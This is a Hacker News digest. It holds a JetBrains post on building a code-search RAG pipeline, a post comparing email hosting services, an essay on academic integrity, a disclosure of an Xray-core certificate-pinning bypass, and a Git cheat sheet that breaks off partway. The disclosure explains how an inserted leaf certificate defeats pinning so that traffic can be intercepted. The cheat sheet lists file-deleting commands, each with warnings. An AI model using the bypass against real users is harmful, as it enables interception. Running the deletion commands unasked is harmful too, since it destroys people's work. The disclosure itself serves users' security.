Building a RAG Pipeline for Semantic Code Search

Hacker News
blog.jetbrains.com
2026-10-04 13:51:48
Comments...
Original Article
Ai logo

Supercharge your tools with AI-powered features inside many JetBrains products

Agentic AI AI

Building a RAG Pipeline for Semantic Code Search: A Developer Diary and Field Notes

Adam Malek Ashot Kazaryan

Part 1: Parsing, chunking, and vectorization

Some time ago, we set out to build the best semantic code search platform we could: a RAG pipeline that gives LLM agents precise, citable evidence from real repositories instead of whatever grep happens to surface. The eventual solution was Air Context . We got it working, we got it into production, and we collected a lot of scar tissue along the way. In this series of posts, we’ll share the parts we wish someone had told us on day one.


Coding agents are undoubtedly the biggest technology leap for software development of our decade. Agents and frontier models are proving their aptitude in the face of seemingly insurmountable code complexity to produce ostensibly reliable code.

However, as more and more development processes become agent-driven, the agent’s efficiency and the quality of the produced code become increasingly important. The question is not so much about whether an agent can complete the task, as given enough time and token resources, it surely will, but rather how much time, effort, and steering is required for it to generate production-grade results. For large-scale code bases specifically, the agent would spend a great deal of time searching for the relevant pieces of code relevant for the feature it’s working on and pulling them into the context.

Why semantic search matters

Attempting to locate the right code snippets, the agent will resort to traditional tools for code search such as keyword search and grep. These tools, however, are limited in that they require the agent to know in advance which exact text to search for. For example, an agent looking for where session tokens get refreshed cannot rely on the code helpfully containing the word “refresh”. To reason through abstract domains, the agent needs the ability to search for code by meaning, also known as semantic search. This is where retrieval-augmented generation (RAG) comes into the picture. If we can index the source code in a way that captures its semantics and then allow the agent to retrieve the relevant pieces on demand using free text search, we create an interface that plays to the agent’s strengths.

From prototype to production

Like many great ideas in the agentic era, a native, prototype implementation is extremely simple. A well-evaluated production grade solution most certainly is not. In this series of blog posts, we want to share what is involved in making an effective RAG system, as well as the wrong turns we took in our journey to create our own: Air Context. We’ll tackle each stage, from pre-processing to storage and agent integration, providing some more technical context and advice.

This first part of the series will cover the initial stages of the pipeline: parsing and chunking, where raw source files are divided into properly scoped units, and vectorization, where those units are transformed into a representation that supports semantic search.

The fine AST of parsing and chunking


Parsing and chunking is a critical pre-processing step in a good RAG solution, but it is often overlooked. In order to allow the LLM to embed or otherwise index the source code, we must first feed it the raw lines of code. This may sound trivial, and probably would be for small-scale demo projects. However, production-grade systems contain thousands of files, which, in turn, span hundreds or even thousands of lines. If anything, agents have compounded the problem, as they tend to be prolific writers, further inflating the codebase. Each file may contain multitudes of classes, fields, and methods, with varying degrees of relatedness among them.

Finding the right chunk size

Even if it were possible to fit these huge code files into an embedding model in their entirety, that expensive feat would ultimately be self-defeating. Because the entire file was embedded in a single unit, the search would return the entire file. This is counterproductive to the goals of agentic code exploration and navigation, which are mostly concerned with finding a specific function, symbol, or code snippet.

On the other hand, if we were to take the other extreme and granularly embed each separate line of code, we would be facing a problem of a different sort. These individual lines can be semantically insignificant without the surrounding context. A generic function name or comment does not merit embedding and will produce the wrong retrieval result. In a sense, we would not be able to see the forest for the trees, and the agent would be overloaded with multiple, often insignificant micro-results.

It is therefore imperative to find the right method to chunk or divide the code into groups that are properly scoped. Each group should include enough of the necessary context and represent common semantic meaning.

Why fixed-size chunking falls short

Chunking is a generic name for the technique of taking content that will be fed to the agent and dividing it into a set of chunks. A naive approach to chunking could be simply splitting a large file into groups with a fixed number of lines. However, if we were to take that approach, we would find the resulting groupings semantically wrong. Unrelated code pieces would be grouped together, for example, an import statement and some function content, leading to mistakes during retrieval.

To solve the problem, we can leverage the fact that every source file has a pretty well-defined structure. Take Java as an example – imports tend to be at the top of the file, followed by a class definition with an optional doc-comment preceding the header. The class will contain fields and methods, which in turn may also have their own doc-comments. Knowing about the conventions and rules that define the class structure allows us to perform smarter chunking and achieve the right balance of surrounding information.

Parsing and structure-aware chunking

Over the last 26 years, we at JetBrains have developed parsers that are smart enough to adjust for the various quirks, irregularities, conventions, and nuances of specific languages. Alongside other tools, these parsers form our internal JetBrains Code Engine platform on which Air Context is developed. At the moment of this article’s composition, Air Context supports parsing and structure-aware chunking for nine major languages: Kotlin, Java, Python, JavaScript, TypeScript, C#, PHP, Go, and Rust. For all other languages, our implementation simply falls back to naive, line-based splitting to ensure that any language or document can be indexed and searched.

The parser allows us to break source files into streams of syntax nodes that carry information about what they represent – comments, whitespaces, lists of modifiers, and so on. The chunking algorithm then consumes that stream and applies logic that decides the scope of a given chunk. Based on the node’s type and size, as well as its descendants, the algorithm makes a decision. If a node exceeds the size threshold but has no children, it will fall back to more primitive splitting strategies.

Some language-specific constructs are kept as single slices even if they exceed the preferred size. Prefixes such as documentation, annotations, visibility modifiers, and keywords are kept together with the declaration; suffixes (usually closing syntax) remain associated with the construct they close. There is also some language-specific cleaning, where, for instance, common and semantically meaningless Java annotations such as @NotNull or @Override are removed.

The algorithm bears some similarities to cAST , authored by Zhang et al. in 2025. Both our implementation and cAST retain the largest syntax units that fit, subdividing only the units that are too large, and grouping smaller adjacent units to avoid tiny chunks that are not usually semantically meaningful. The biggest difference is that we coded more language semantics into our implementation, keeping Python decorators  together with definitions, KDocs next to Kotlin declarations, and so on.

After grouping, chunk normalization is performed, which involves:

  • Trimming leading and trailing whitespaces
  • Deleting blank lines
  • Removing common indentation while preserving relative indentation

Following the normalization procedure, the chunk is then passed to the next step – embedding – along with metadata that consists of a relative path, which gets embedded alongside the normalized chunk content.

Evaluating the quality of chunks

It is hard to give a concrete answer as to what the input to the embedding model should look like. Chunk size matters, but as discussed before, bigger is not always better. Additionally, some metadata embedded alongside the code may be useful, while some may introduce noise that ultimately decreases search quality.

We opted to use an LLM-as-a-judge strategy to inspect the chunks as a part of the evaluation. The judge, using a chunk and the source file, considers whether the boundary makes sense. It looks for unexpected artifacts, such as detached documentation, orphaned closing syntax, or fragments of code that are cut through a meaningful construct. In addition, any changes to the source code processing pipelines also go through the full, end-to-end retrieval evaluation. We’ll get back to that evaluation pipeline in the following part of this series.

Vectorization

Having pre-processed the source code, we finally have text chunks that are hopefully just the right size and correctly grouped for semantic retrieval. Our next task is to transform these fragments in a way that will later allow us to support semantic search, through a process called vectorization.

With vectorization, an embedding model reads a piece of text and emits a fixed-length list of numbers (a vector), which amounts to a point in a space of a few thousand dimensions. Significantly, the model is trained so that texts with similar meaning land close together. Traditional search might miss the connection, but here, a function that flushes buffered write operations and one that drains a pending queue can end up near each other despite sharing no common keywords. The distance between vectors hence becomes a measure of relatedness. A query is turned into a position in the same space, and the results are whatever lies nearest to it.

Punch for the byte: Optimizing for storage

Any attempt to vectorize a large codebase must take into account both cost and performance. A single embedding is cheap, but a large repository produces millions of chunks, which become millions of vectors that must be stored, held in memory, and compared against each incoming query. A vector of a few thousand dimensions in 32-bit floats weighs around 16 kilobytes, so a few million chunks add up to tens of gigabytes of index before any bookkeeping. At such a scale, the allocation of bytes per vector becomes cost-limited, and the leading question quickly shifts from “how accurate can we be?” to “what do we get per byte?” In other words, we need to find a way to reduce the cost while retaining as much search quality as possible.

There are two ways to reduce vector cost. The first is to keep fewer dimensions. Modern embedding models are trained so that a leading slice of the vector works on its own. The dimension loss is applied across several nested prefix lengths simultaneously, pushing the coarsest structure into the earliest dimensions. This means you can cut a vector short and renormalize it, and it still retrieves. Alternatively, you can keep every dimension and spend less on each one by sacrificing on precision and thus keeping fewer bytes for each vector.

These two options are independent of each other and can be combined, which means any storage budget can be met through different mixes of dimension count and numeric precision. The real question is which mix retrieves best for the same number of bytes. The trade-off is far from even. Suppose the budget is 512 bytes per vector. You could spend it on 128 dimensions kept at full 32-bit precision, or on all 4,096 dimensions kept at a single bit each. Both fit the budget exactly, but in testing, you’ll find that the second option retrieves considerably better.

Why dimensions matter more than precision

To see why, it helps to think of each dimension as one small question the model has learned to ask about the text: Is this about error handling? Does it touch the network? Is it test code? And there are a few thousand similar topics and questions that haven’t been named. (The real dimensions are blurrier than that, but this is a useful abstraction.)

No single answer means much on its own. We consider two chunks to be similar when their answers to many of these questions are the same. Therefore, we should assess the vectors by looking at the coverage of the questions rather than the exactness of the answers.

Keeping all 4,096 dimensions at one bit preserves a rough yes-or-no answer to every question. Truncating to 128 dimensions keeps very precise answers to three percent of the questions and throws the rest away, and no amount of precision on the surviving dimensions can recover the information the discarded ones carried. In a sense, a long questionnaire filled in with checkmarks beats a short one filled in to six decimal places. Dimensions are what you want to keep; precision is what you can afford to lose and is easier to compensate for later on.

So we chose to keep every dimension and take the precision reduction to its limit, dropping the vectors to one bit each, which is 32 times smaller than the same vector in 32-bit floats. The quantization itself turns out to be surprisingly simple. Every component at or above zero becomes a one, while every negative component becomes a zero, and the magnitudes are thrown away:

Changing the representation changes the metric with it. Cosine similarity needs the magnitudes we just threw away, so binary vectors are compared by Hamming distance instead, which is simply the number of positions where two bit patterns disagree. Compare, for example, 10110100 and 10010110. They differ in two positions, so the distance between them is two. At full length, the computation stays just as simple. A 4,096-bit vector is stored as 64 words of 64 bits, and comparing two of them means XORing each pair of words, which leaves a 1 wherever the two vectors disagree, and then counting the 1s. A CPU does each of those in a single instruction per word, so a full comparison costs in the order of a hundred instructions where cosine similarity on the original floats needed thousands of multiplications.

Note that the metric was never a separate decision. We chose one-bit precision for the storage savings, and once every component is a sign bit, Hamming is the only comparison left that makes sense. Choosing the precision chose the metric.

Binary quantization still costs a few points of recall against the unquantized vector. We accepted that cost after considering that a reasoning agent would be consuming the results. A code search feeding an agent needs the right neighborhood far more than a perfectly ordered top 10. When the agent asks where session tokens get refreshed, what matters is that the relevant handful of files shows up among the first dozen results. Whether the best chunk ranks second or fifth changes nothing, because the agent opens the candidates and reads them anyway. In that loop, a ranking degradation that would be plainly visible in a three-result UI built for humans is mostly invisible.

The limits of binary quantization

The trade-off we made had a subtler cost that took us a bit longer to understand. Binary quantization doesn’t only sacrifice accuracy; it compresses the *range* of similarity scores. With full-precision vectors, an unrelated pair can score near zero while near-duplicates score near one, a comfortably wide spread. Sign bits behave differently. Around half the bits of two entirely unrelated vectors still agree by pure chance, while a strongly related pair might have agreement for two-thirds. So every score in the index, relevant or not, lands in that thin band.

Ranking survives the compression, since relevant results still score above irrelevant ones, but thresholding does not. Picture a feature that volunteers related code without being asked, say a panel that suggests existing implementations while you type. Its most difficult requirement is knowing when to stay silent. To make that determination, it needs a usable gap between “related” and “unrelated” scores. Binary vectors don’t leave one. Any cutoff placed inside that narrow band either fires on everything or on nothing. So where an index needs an absolute relevance judgement rather than a relative ordering, we keep 16-bit floats and pay for the storage.

Embedding scope

While indexing and searching use the same model, the two jobs could not be more different. Indexing is throughput-constrained, with millions of chunks asynchronously handled. The GPU will handle about 32 chunks per batch before becoming saturated. A search, on the other hand, needs to be fast and responsive. Users will give up if they are not provided with results within a couple of seconds at most. Therefore in deploying these models we optimize them accordingly: one to maximize chunks per second, the other for minimizing time to first result.

We chose an instruction-following model, trained with a deliberate asymmetry between the two sides of retrieval. Significantly, the two sides are represented by very different types of text. A query is a short question in natural language, while a document is a chunk of code. A document is embedded as is at indexing time. A query is wrapped with an instruction describing the retrieval task, something like “given this search query, find the code that answers it”, which tells the model what role the text is playing. We preserve that arrangement at inference because it is the shape the model learned.

To allow the two sides to align more easily, we embed each chunk together with its file path. The path supplies metadata that the chunk alone lacks: which module it lives in, and what the file is. In a monorepo, though, the path itself becomes a problem. The IntelliJ IDEA monorepo runs to over a million files. The median source file there sits nine directories deep behind a 91-character path, and close to 10,000 source files have paths longer than 150 characters, the longest of them 218. That is before any checkout root is prepended.

Most of those characters are used for structural nesting and offer no useful information about the file. A run of segments like `src/org/jetbrains/kotlin/idea/k2` restates the package hierarchy, which a compiler needs and a search does not. Meanwhile, the file at the end of that longest path is 24 lines long. If we simply embed the path text as is beside a chunk, we’ll find that the path will sometimes take up more space than the code itself. To compensate for that, a path is capped before it reaches the model, and the rule is that *both ends survive*. The leading segments tell you which module you’re in, while the last two, the immediate parent and the filename, tell you what the file is. The middle is the part that can go, and only as much of it as the cap requires. Keep the longest prefix that still fits, elide what falls between into `…`, and if even parent-plus-filename is too long, keep only the name itself.

The same discipline applies when a user scopes a search to a subdirectory. The obvious implementation is a metadata filter: run the search as usual and discard results that fall outside the directory. We do something different. The scope is rendered into the query text itself, in the same shape, with the same abbreviation function and the same separator the indexed chunks used. If a chunk went into the index under the abbreviated form of `community/plugins/kotlin`, a query scoped to that directory carries the same string in exactly the same form, so the query vector lands in the same region as the chunks it is supposed to match.

Protecting source code

There was one last design consideration we took into account. It was important for us to be attentive to customer privacy and security concerns. The source code of a company is often the core of its IP. Exposing it to third-party cloud models, or even to another company, increases the risk of inadvertently exposing sensitive data or even training other models to use it.

To make sure we address these concerns, we made the decision to adhere to several practices early on:

  1. Avoid storing the code in our systems: A chunk holds a cluster reference, an item type, a file path, start and end offsets, a reference to a vector, and an optional metadata field. No content, no copy of the source code itself, is saved. What a search returns is coordinates, and the snippet you see is assembled on your machine, from your checkout, using them. The server just knows that something relevant lives at bytes 4,102–4,890 of a given path, not what it is.
  2. Don’t use data for training: Every code index Air Context builds is embedded by an open-weight embedding model, running on GPUs we operate. No embedding request leaves our infrastructure – not to OpenAI, not to Google, not to any other vendor. Therefore, we can guarantee that none of the data will be used to train anything.

These self-imposed design restrictions carry no cost in terms of retrieval quality. We evaluated the open-weight candidates against the hosted embedding APIs from the major providers on our own code-retrieval benchmarks, and ours came out on top. Open-weight embedders are now good enough that the interesting engineering has moved into what you feed them, how you serve them, and what you choose to keep.

A summary that is an interlude

In this blog post, we covered the first stages of the retrieval pipeline: the journey from raw source files to compact vectors that are ready to be searched.

At this point, we have millions of binary vectors and a way to produce more. The problems we haven’t solved yet are how to store them efficiently, how to create a system that can answer a query in milliseconds, how we can continuously evaluate our results to ensure we are making the right choices, and how we can get the agent to actually use our shiny RAG apparatus.

These topics and more will be the subjects of the next parts in this series, which we’ll be releasing over the next few weeks. As always, please feel free to ask any questions in the comments or share your own hard lessons from designing a RAG solution. We are eager to learn of different and creative ways you have found to be effective! In the meantime, feel free to check out Air Context , currently in public preview, it is already included with your JetBrains license 😀

Until next time!

Subscribe to JetBrains AI Blog updates

Discover more

All I wanted was a custom domain email

Hacker News
jacobg.co
2026-10-04 13:47:21
Comments...
Original Article

At this point, I have owned the domain jacobg.co for over 2 years. For the longest time, I have been trying to have a custom email address at my domain without paying a fortune for a service that isn’t widely used. Here are some of the things I was looking for:

  • Bring-Your-Own domain
  • Cheap pricing
  • Unlimited addresses
  • Verified email sending and receiving
  • Integration with Apple Mail

I tried a few different solutions, from Cloudflare’s built-in email routing to completely self-hosted options. In this post, I’ll go over what I tried, what didn’t work, and what I’ve finally settled on.

Cloudflare E-Mail Routing

This site is hosted on Cloudflare Pages, and the DNS records for this domain are routed through Cloudflare. Naturally, my first instinct was to use Cloudflare’s own solution for custom domain email: Email Routing.

Cloudflare receives each email sent to your domain and forwards it to an address of your choice. For receiving mail, this is a pretty simple solution. I could have something like [email protected] automatically forwarded to my personal inbox without having to pay for another mailbox.

The problem is sending. Cloudflare’s email routing is primarily designed around forwarding incoming mail, and sending mail from the custom address requires a separate solution. For my use case, the available options were either too expensive or too complicated. I also found that forwarded messages could sometimes take several minutes to arrive.

It worked, but it wasn’t really the custom email setup I was looking for.

Mailflare

A few days ago, I stumbled upon an open-source project called Mailflare by hieunc299 on GitHub. It is a self-hosted email inbox for custom domains, built around Cloudflare.

Mailflare uses Cloudflare for receiving mail and provides an interface for managing the messages. For sending, it integrates with Resend, which handles the actual delivery.

On paper, this was almost exactly what I wanted. It was open source, used infrastructure I already had, and didn’t require me to run a traditional mail server myself.

In practice, though, I ran into problems with the sending side. Getting reliable outbound email is much more complicated than simply having an SMTP server. Domain authentication, reputation, and the way major providers like Gmail and Yahoo evaluate incoming messages all become important. The setup I ended up with wasn’t something I was comfortable relying on for my personal email.

So while Mailflare is a really interesting project, it wasn’t the solution for me.

Purelymail

The next option I found was Purelymail . Purelymail is essentially a personal email hosting service that gives you SMTP and IMAP access for a very low price. At around $10 a year, it was one of the cheapest options I found.

It also supports unlimited addresses, has a strong focus on privacy, and offers a generous free trial. Since it provides standard IMAP and SMTP access, it can also be used directly with Apple Mail instead of forcing you to use a proprietary web interface.

This was probably the most straightforward option I found. If I wanted something that I knew would work and didn’t care about spending a little time configuring it, Purelymail would have been an easy choice.

I ended up finding another option before fully committing to it, though. I’ll probably keep Purelymail in mind if I ever need a more dedicated email setup in the future.

Enterprise Options

Of course, there are also the more traditional options. Google Workspace provides custom domain email through Gmail and is probably the easiest solution for most people who don’t mind paying for it.

The problem for me is that I don’t really need everything that comes with it. Paying for a separate mailbox for a personal domain felt unnecessary when I mostly wanted a few addresses and the ability to send and receive through Apple Mail.

For a business with multiple employees, Google Workspace makes a lot more sense. For jacobg.co, it felt like overkill.

Foundermail

While researching possible solutions, I came across Foundermail . It immediately stood out because it was basically everything I had been looking for.

Foundermail integrates with Cloudflare, provides standard SMTP and IMAP logins for external mail clients, supports multiple addresses, and handles verified outbound email. Most importantly, it was cheap enough that I didn’t have to think twice about using it for a personal domain.

The setup was also surprisingly easy. Once the domain was connected, I could configure the SMTP and IMAP credentials in Apple Mail and use [email protected] like any other email account.

So far, it has worked exactly how I wanted. Messages arrive quickly, sending works, and I don’t have to use a separate webmail interface every time I want to check my email. The UI is also much more modern than I expected, and the relatively small user base seems to help with speed and latency.

There was one annoying limitation. I had to submit a special request before I could send emails to new addresses that had not previously messaged me. That’s not something I expected going in, although it was resolved and hasn’t been much of an issue since.

For now, this is what [email protected] runs on.

Conclusion

After trying several different approaches, I’ve ended up with Foundermail for now. It isn’t the most well-known option, but it checks almost every box I started with: custom domains, multiple addresses, SMTP/IMAP, verified sending, and a price that makes sense for a personal domain.

The bigger lesson for me is that custom email is surprisingly complicated. Receiving mail is easy. Sending it reliably is the hard part. Once you start worrying about spam filters, DNS records, authentication, SMTP, IMAP, and reputation, “just give me an email address” turns into a surprisingly deep rabbit hole.

For now, [email protected] is running on Foundermail. I’ll probably stick with it until I find a reason not to.

Incentives in Academic Research

Hacker News
www.msoos.org
2026-10-04 13:42:38
Comments...
Original Article
Andrei Tarkovsky’s Stalker (1979)

Charlie Munger said: “Show me the incentive and I will show you the outcome”. The issue with Academic Research, in my opinion, is that the outcomes have drifted very far away from the original goal, which I believe to be the advancement of scientific understanding, and training of the new generation of researchers. Academic research was meant to be about breaking new ground, keeping to honesty and good scientific conduct, being clear and upfront about uncertainties, errors, and mistakes, and improving our common understanding of science, all the while training the new generation to follow these goals and principles.

Recently, I have bumped into multiple cases where I believe the correctness of the results, the honesty of the people writing them, or the lack of curiosity once they are told that their results are wrong, incorrect, faulty, or misleading, has been unsatisfying. Simply put, researchers are not too interested in learning that their papers or reports are wrong, and/or misleading others who don’t happen to know that the results are — known to the authors, and a few select others to be partially — incorrect.

The issue is, once you published the paper, and got the promotions and fame, it doesn’t matter that the results are wrong, and known to be wrong or misleading, and potentially doing harm to the advancement of science. It’s not your problem. It’s someone else’s problem. In fact, when I challenged the authors of one such paper, considered state-of-the-art, and known to the authors to have incorrect evaluation, one of the author’s response was along the lines of acknowledging the issues, but refusing to retract the paper, and instead asking if it’s bothering me in publishing my paper.

The incentives are wrong. In my opinion, it’s not all about the papers — mine or others’. It’s about scientific integrity, about being honest with each other, it’s about caring about the results, it’s about advancement of our common scientific understanding through seeking of truth and correctness. It’s about communicating when something is wildly wrong, and either retracting the relevant incorrect claims, or notifying the community of the known serious issues. It’s about caring for what we all consider to be the common understanding of what is the truth, and cultivating an environment where the new generation grows up to learn what the proper scientific conduct is, and that it is not acceptable to seriously deviate from it.

Unfortunately, I am seeing more and more PhD students who are less and less interested in correctness, precision, and what I’d consider proper scientific conduct. They have learned from those successful in the field what does and does not matter. I remember when someone once told me that my approach for a particular algorithm was wrong (about strongly connected components discovery), and how upset I was that I had no idea. I went home that day and I immediately fixed my tool to use the right approach (i.e. to use Tarjan’s algorithm). I felt deep shame that I had no clue what I was doing, and that I messed up. In contrast, recently talked with a PhD student who wrote a tool that was meant to perform well in certain contexts. When I explained the student that the approach to the evaluation was incorrect, they didn’t follow up at all. I think they were surprised that I later followed up, demonstrating that indeed the evaluation was not careful enough, and the tool is less useful than it seems from the paper’s evaluation. It was a strange experience — when I was a PhD student and someone sat down and showed me that what I was doing was potentially sloppy, I was super worried and very curious to find out what’s going on. I still remember this moment when a reviewer of my dissertation challenged a graph and I was stressed for a week before I figured out they misread the graph, because I didn’t label it clearly. Or when in a presentation I accidentally left out performing so-called ‘restarts’ as a major advancement in the history of SAT solvers, and someone in the audience rightfully pointed it out. I felt embarrassed for having made such a mistake.

I am not sure how to fix this problem. Seemingly, researchers are less and less keen on correctness, precision, and scientific curiosity. They don’t seem to be incentivised to do so. I sometimes wonder if the system has become so damaged, so many PhD students have grown up to be professors in this environment, that much of what I wrote here seems alien, even repulsive, to many. It makes me sad.

Xray-core concealed a certificate verification bypass vulnerability

Hacker News
github.com
2026-10-04 13:38:54
Comments...
Original Article

Disclaimer: I am the reporter of the vulnerability.

Xray-core maintainers look down on "skip certificate verification" feature (i.e. the allowInsecure option in Xray-core) or similar options in proxy software, arguing that this is equivalent to having no security measures at all and leaves users "streaking", exposing them to the risk of man-in-the-middle attacks. However, if a vulnerability in Xray-core itself causes users to be "streaking" and fall victim to man-in-the-middle attacks, Xray-core will cover it up and act as if nothing has happened.

On October 21, 2021 , the pinnedPeerCertificateChainSha256 option, with no known issues, was added to Xray-core. This provides a double layer of security: if this option is enabled, custom certificate chain pinning logic will be performed in addition to the regular certificate verification. This also facilitates the use of self-signed certificates: to use a self-signed certificate securely, a user can enable both allowInsecure and pinnedPeerCertificateChainSha256 to skip the regular certificate verification and perform only the custom certificate chain pinning logic.

However, Xray-core later claimed that allowInsecure is insecure and enabling allowInsecure is like "streaking" and would leave users vulnerable to man-in-the-middle attacks.

On January 9, 2026 , Xray-core removed pinnedPeerCertificateChainSha256 and replaced it with a new option, pinnedPeerCertSha256 , to stop users from skipping certificate verification (or so-called "streaking"). For self-signed certificates, both allowInsecure and pinnedPeerCertSha256 must be enabled, which skips the regular certificate verification and only performs the custom certificate pinning logic. This should have helped the users to use self-signed certificates securely. However, pinnedPeerCertSha256 contains a certificate verification bypass vulnerability.

On January 13, 2026 , Xray-core released the first version containing this certificate verification bypass vulnerability. Since the old option had been removed, users had no choice but to migrate to the new vulnerable option. At this point, the certificate verification defense was already teetering on the brink of collapse. Fortunately, as long as users neither use a self-signed certificate nor enable allowInsecure , the regular certificate verification could still provide some protection.

On January 16, 2026 , Xray-core modified the logic of pinnedPeerCertSha256 , making it always skip the regular certificate verification and only performs the custom certificate pinning logic. This means a protection layer has been missing: the regular certificate verification is always skipped. If a verification bypass vulnerability exists in pinnedPeerCertSha256 (and unfortunately, it does), the custom certificate pinning logic will fail to function, effectively leaving no certificate verification in place, which allows a man-in-the-middle attack to be successfully performed. At this point, the certificate verification defense has completely collapsed.

On February 6, 2026, I found the above certificate verification bypass vulnerability in Xray-core’s pinnedPeerCertSha256 and privately reported to Xray-core maintainers. A man-in-the-middle attacker could insert a leaf certificate at any place in the certificate chain, and the custom certificate pinning logic would verify the leaf certificate successfully, thereby leading to the success of man-in-the-middle attacks. This is an overly simple vulnerability; even without advanced security knowledge, I was able to discover it at a glance.

On the same day , Xray-core silently fixed this certificate verification bypass vulnerability, but the commit message beat around the bush, claiming it was to "simplify the code".

On the same day , Xray-core released a new version without mentioning the security vulnerability at all. Users were kept in the dark.

What's worse, on that same day , Xray-core posted the following statement on their Telegram channel: "Software must be designed with security at its core, eliminating the influence of the human factor to ensure that even the endest users aren’t streaking (left completely unprotected)." But this is the reality: due to Xray-core’s poor security design and the human factors it created, users were forced to migrate from a secure old option to an insecure new one, and the "endest users" have been unwittingly left exposed for nearly a month. Xray-core itself is exactly the human factor that has left users insecure and "streaking".

Xray-core could have taken corrective action by disclosing the security vulnerability to the users, thereby motivating them to upgrade to a new version that patches the vulnerability and minimizing the impact as much as possible. Unfortunately, they chose to cover it up.

As of July 3, 2026, Xray-core still had not disclosed the vulnerability to the users.

On July 3, 2026 , I found that Xray-core’s fix for the vulnerability was incomplete; under certain circumstances, certificate verification could still be bypassed. To prevent the vulnerability from being maliciously concealed again, I had no choice but to report it via a GitHub Security Advisory. By that point, due to Xray-core's human factor, users had been unwittingly "streaking" for nearly half a year.

This is written in the hope that more people will realize how poor Xray-core's security record is.

What I learnt co-leading an AI Safety bootcamp for legal and governance practit

Hacker News
www.lesswrong.com
2026-10-04 13:21:26
Comments...
Original Article

x

What I learnt co-leading an AI Safety bootcamp for legal and governance practitioners — LessWrong

An animated, customizable Git cheat sheet drawn by git-sim

Lobsters
initialcommit.com
2026-10-04 12:48:24
Comments...
Original Article

Safe nothing is lost Caution rewrites history, but you can get it back Destructive can lose work for good

Start a project 4 commands

A repository is a project folder with its history in a hidden .git folder. Make a new one, or clone one that already exists, history and all.

Create a new repository

Safe

git init

Creates an empty Git repository in the current folder, stored in a hidden .git folder. No files are tracked until you add and commit them.

Shown: git init

git clone <url>

Downloads the repository at <url> with its full history into a new folder, checks out its default branch, and adds the source as the remote origin .

Shown: git clone https://example.com/your_project.git

Clone only the N latest commits

Safe

git clone --depth <N> <url>

Clones only the <N> latest commits of the default branch, leaving out the older history.

Shown: git clone --depth 3 https://example.com/your_project.git

Clone a repository and check out a specific branch

Safe

git clone -b <branch> <url>

Clones the repository and checks out <branch> instead of the remote's default branch.

Shown: git clone -b feature https://example.com/your_project.git

Configure Git 11 commands

Settings made with --global apply to all your repositories on this machine and are saved in ~/.gitconfig . Leave out --global to set something for the current repository only.

git config --global user.name " <name> "

Sets the name Git records as the author and committer of each new commit.

Shown: git config user.name "Jacob Stopak"

Set your email address

Safe

git config --global user.email " <email> "

Sets the email address Git records for the author and committer of each new commit.

Shown: git config --global user.email "jacob@initialcommit.io"

  • Undo git config --global --unset user.email

Set your default branch name

Safe

git config --global init.defaultBranch <name>

Sets the name git init gives the first branch of a new repository.

Shown: git config --global init.defaultBranch main

git config --global core.editor " <editor> "

Sets the editor Git opens for commit messages and interactive rebases. For VS Code, use code --wait so Git waits until the file is closed.

Shown: git config --global core.editor "code --wait"

List all config settings

Safe

git config --list

Prints every setting from the system, global, and repository config files. When a setting is in more than one file, the repository value overrides the global value, and the global value overrides the system value.

Shown: git config --list

Set a setting for every user on the machine

Safe

git config --system <setting> <value>

Sets <setting> to <value> in the system config file, which applies to every user and repository on the machine. A global or repository value for the same setting overrides it.

Shown: git config --system core.autocrlf true

  • Watch Writing the system config file needs admin rights.

Create a shortcut for a command

Safe

git config --global alias. <name> <command>

Creates a Git command named <name> that runs <command> . For example, alias.st status makes git st run git status .

Shown: git config --global alias.st status

Rebase instead of merging when you pull

Safe

git config --global pull.rebase true

Makes git pull rebase your local commits onto the fetched commits instead of creating a merge commit.

Shown: git config --global pull.rebase true

Prune deleted remote branches on every fetch

Safe

git config --global fetch.prune true

Makes git fetch delete remote-tracking branches, like origin/<branch> , whose branches no longer exist on the remote.

Shown: git config --global fetch.prune true

Convert line endings on Windows

Safe

git config --global core.autocrlf true

Converts LF line endings to CRLF when files are checked out, and back to LF when they're committed.

Shown: git config --global core.autocrlf true

Save your Git credentials

Safe

git config --global credential.helper <helper>

Stores your username and password or token with <helper> , like manager on Windows or osxkeychain on macOS, so Git doesn't ask for them each time.

Shown: git config --global credential.helper cache

Stage and commit 6 commands

Committing takes two steps: stage the changes you want, then commit them as one snapshot.

Check the state of your repository

Safe

git status

Shows the active branch, staged changes, unstaged changes, and untracked files. During a merge, rebase, or cherry-pick, it also shows that operation's state and the next step.

Shown: git status

Stage your file changes

Safe

git add <file>

Stages the current changes to <file> , so they're included in the next commit.

Shown: git add app.py notes.txt

Stage all changes in the current folder

Safe

git add .

Stages every new, modified, and deleted file in the current folder and its subfolders.

Shown: git add .

Stage all changes in the repository

Safe

git add -A

Stages every new, modified, and deleted file in the repository, whichever folder it's run from.

Shown: git add -A

Commit your staged changes

Safe

git commit -m " <message> "

Creates a new commit from the staged changes with the message <message> , and moves the active branch to it.

Shown: git commit -m "Describe the project in the README"

  • Undo git reset --soft HEAD~1

Stage and commit tracked file changes in one command

Safe

git commit -am " <message> "

Stages the changes to all tracked files and commits them with the message <message> . Untracked files aren't included.

Shown: git commit -a -m "Tweak the app and the header"

  • Undo git reset --soft HEAD~1

Manage files 6 commands

Delete, rename, untrack, and ignore files, and clear out the ones Git doesn't track.

Delete a file and stage the deletion

Caution

git rm <file>

Deletes <file> from the working directory and stages the deletion.

Shown: git rm login.html

  • Undo git restore --staged --worktree <file>

Stop tracking a file but keep it on disk

Safe

git rm --cached <file>

Removes <file> from the staging area, so the next commit stops tracking it. The file stays in the working directory.

Shown: git rm --cached .env

  • Undo git add <file>

Rename or move a file

Safe

git mv <old> <new>

Renames or moves <old> to <new> and stages the change.

Shown: git mv app.py main.py

  • Undo git mv <new> <old>

Find the rule that ignores a file

Safe

git check-ignore -v <file>

Prints the ignore file, line number, and pattern that ignore <file> . Prints nothing if the file isn't ignored.

Shown: git check-ignore -v debug.log build/app.js app.py

Delete all untracked files

Destructive

git clean -f

Deletes the untracked files in the working directory. Add -d to delete untracked folders too.

Shown: git clean -f

  • Undo No way back
  • Watch Untracked files aren't in Git's history, so they can't be recovered. Run git clean -n first to list what would be deleted.

Delete all untracked and ignored files

Destructive

git clean -fdx

Deletes all untracked files and folders, including ignored ones like build output and .env files.

Shown: git clean -fdx

  • Undo No way back
  • Watch Ignored local files, like settings and secrets, are deleted too. Run git clean -ndx first to list what would be deleted.

History and search 14 commands

Every commit keeps its author, date, and changes. These commands list them, filter them, and search through them. None of them change anything.

View the active branch's commit history

Safe

git log

Lists the commits in the active branch's history, newest first, with each commit's hash, author, date, and message.

Shown: git log

View the commit history of all branches

Safe

git log --all

Lists the commits in the history of every branch and tag, not only the active branch.

Shown: git log --all

View all branches as a text graph

Safe

git log --oneline --graph --all

